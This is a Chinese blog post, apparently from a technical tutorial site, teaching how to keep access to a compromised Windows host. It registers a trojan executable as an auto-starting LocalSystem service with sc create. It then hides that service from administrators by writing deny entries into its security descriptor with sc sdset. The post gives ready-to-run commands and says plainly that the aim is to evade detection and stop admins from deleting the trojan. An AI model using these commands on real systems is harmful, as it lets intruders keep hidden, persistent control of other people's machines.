SC实现隐藏Windows服务维持权限

简介:

sc.exe是Windows系统文件中自带的服务管理程序,可远程对服务进行操作;这里讲述了利用scPowershell程序来隐藏服务,搭到长期维持权限的效果。

创建服务

创建一个服务名为demo的自启动服务,服务运行地址指向木马路径,以tcpip协议传输并以本地系统权限运行

sc create demo start= auto binPath="cmd.exe /k C:\tu.exe" depend= Tcpip obj= Localsystem

添加个描述

sc description demo "tu3k.cn"

这时服务器重启会自启动上线,手动启动也可以上线,不过有时候手动可能会出错,但是不影响上线。

成功上线

删除进程命令sc delete demo

但是管理员在进行维护的时候,发现这个进程可疑,就会查看这个进程的详细信息

我们的木马路径藏的再隐蔽也一览无余了,接着管理员就会执行命令删掉服务,权限也就掉了,如何藏得更深或者管理员没有这个权限去删呢再或者管理员根本发现不了我们的隐藏木马进程

0x02 正文(隐藏服务)

为了不让管理员发现用于权限维持的服务,通过SDDL修改服务的安全描述符,安全描述符是用来配置该服务允许哪些用户权限访问
使用sc程序的sdset模块修改安全描述符

sc.exe sdset test "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

现在用sc query demopowershellget-serivce查询都已经查不到了
不过sc qc demo还是可以查到,问题已经不大了

0x03 SDDL原理

通过修改安全描述符来控制那些用户具有访问和读取此服务相关信息的权限
sc sdset 有几个参数,D是Access Denied 也就是权限拒绝,刚才执行的语句内就有这个参数
如果要启用的话就把D改成A,A代表Access Alower 允许权限

增强SC的隐藏

在上面的SC中隐藏过后还可以使用`sc qc demo`查看服务信息,这里增强一下,拒绝所有用户权限查询服务配置信息项

sc.exe sdset test "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

使用Powershell还原权限

powershell.exe & $env:SystemRoot\System32\sc.exe sdset auto_calc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巡安似海

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值